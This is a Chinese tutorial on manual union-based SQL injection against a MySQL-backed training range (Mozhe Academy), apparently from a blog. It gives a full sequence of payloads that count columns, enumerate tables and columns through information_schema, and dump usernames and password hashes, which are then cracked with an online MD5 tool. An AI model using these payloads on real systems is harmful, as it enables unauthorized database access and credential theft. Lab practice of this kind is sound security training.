当前位置: 首页 > news >正文

墨者:通过手动解决SQL手工注入漏洞测试(MySQL数据库)

一、SQL手工注入漏洞测试(MySQL数据库)

本文以墨者学院靶场为例,演示MySQL数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.64.48:47777/new_list.php?id=1

二、注入原理与流程(如下指令去掉了id之前的内容

MySQL手工注入主要通过闭合SQL语句、联合查询系统表来获取敏感信息。以下是完整的攻击流程:

1. 判断字段数

id=1 order by 5
  • 作用:确定SELECT查询返回的列数
  • 原理:通过递增order by后的数字,当页面报错时说明超出实际字段数
  • 示例:若order by 4正常但order by 5报错,说明有4个字段

2. 确定回显位置

id=-1 union select 1,2,3,4
  • 关键点
    • id=-1使原查询无结果
    • union select强制返回我们的数据
    • 页面显示的数字即为可回显的列位置
  • 输出:假设页面显示23,则后续注入用这两个位置
    在这里插入图片描述

3. 获取数据库信息

id=-1 union select 1,group_concat(database()),3,4
  • 函数说明
    • database():当前数据库名称
    • group_concat():多行结果合并为字符串
  • 典型返回mozhe_Discuz_StormGroup
    在这里插入图片描述

4. 枚举数据表

id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
  • 系统表说明
    • information_schema.tables:存储所有表信息
    • table_schema:过滤指定数据库的表
  • 输出示例StormGroup_member,notice,...
    在这里插入图片描述

5. 获取字段结构

id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
  • 系统表说明
    • information_schema.columns:存储列定义信息
    • table_name:指定目标表
  • 返回结果id,name,password,status,...
    在这里插入图片描述

6. 提取账号密码

id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
  • 实战技巧
    • 使用group_concat()合并所有记录
    • ,分隔不同字段(如admin,user1123456,qwerty
  • 数据示例
    用户名:mozhe,admin,...
    密码:5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,...
    

在这里插入图片描述

7. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/
在这里插入图片描述

三、关键指令速查表

指令/函数作用MySQL特性说明
order by N判断字段数报错法最可靠
union select联合查询前后列数必须相同
database()当前数据库名等价于schema()
group_concat()行转字符串默认逗号分隔
information_schema元数据库存储所有表/列定义
table_schema过滤数据库值需加引号
table_name过滤表名区分大小写
http://www.dtcms.com/a/300647.html

相关文章:

  • 握手未来,PostgreSQL认证专家
  • GTP4.0官网版:智能对话与知识引擎,重塑客户服务效率
  • Sql server开挂的OPENJSON
  • USB设备调试
  • 【LeetCode刷题指南】--设计循环队列
  • Java 大视界 -- Java 大数据机器学习模型在电商客户细分与精准营销活动策划中的应用(367)
  • 3D碰撞检测系统 基于SAT算法+Burst优化(Unity)
  • Java面试宝典:MySQL执行原理二
  • MongoDB索引及其原理
  • 接口自动化-logging日志
  • Qt 窗口 工具栏QToolBar、状态栏StatusBar
  • 24点数学游戏(穷举法求解表达式)
  • 基于Matlab自适应阈值分割算法的图像处理研究
  • esp32s3创建rust工程 window成功mac
  • [硬件电路-97]:模拟器件 - 如何通过外部的闭环负反馈,让运算放大器从“暴脾气”、“愣头青”、情绪容易失控者变成“沉着”、“冷静”的精密调控者的?
  • MySQL表的增删改查(基础)
  • 基于鲸鱼算法的三相逆变器分数阶滑模控制参数优化
  • solidity从入门到精通 第六章:安全第一
  • 设备独立性软件-高速缓存与缓冲区
  • 广东省省考备考(第五十八天7.27)——资料分析、数量、判断推理(强化训练)
  • 通过不同坐标系下的两个向量,求解旋转矩阵
  • springboot基于Java的人力资源管理系统设计与实现
  • LabelImg:简洁高效的图像标注工具和下载
  • ROS2入门到精通教程(三)快速体验
  • Unity 实时 CPU 使用率监控
  • 机械学习----knn实战案例----手写数字图像识别
  • 携带参数的表单文件上传 axios, SpringBoot
  • Karonte: Detecting Insecure Multi-binary Interactions in Embedded Firmware论文分享
  • LabelMe数据标注软件介绍和下载
  • UNet 改进(38):融合多尺度输入与可变形卷积、门控特征融合的医学图像Unet分割网络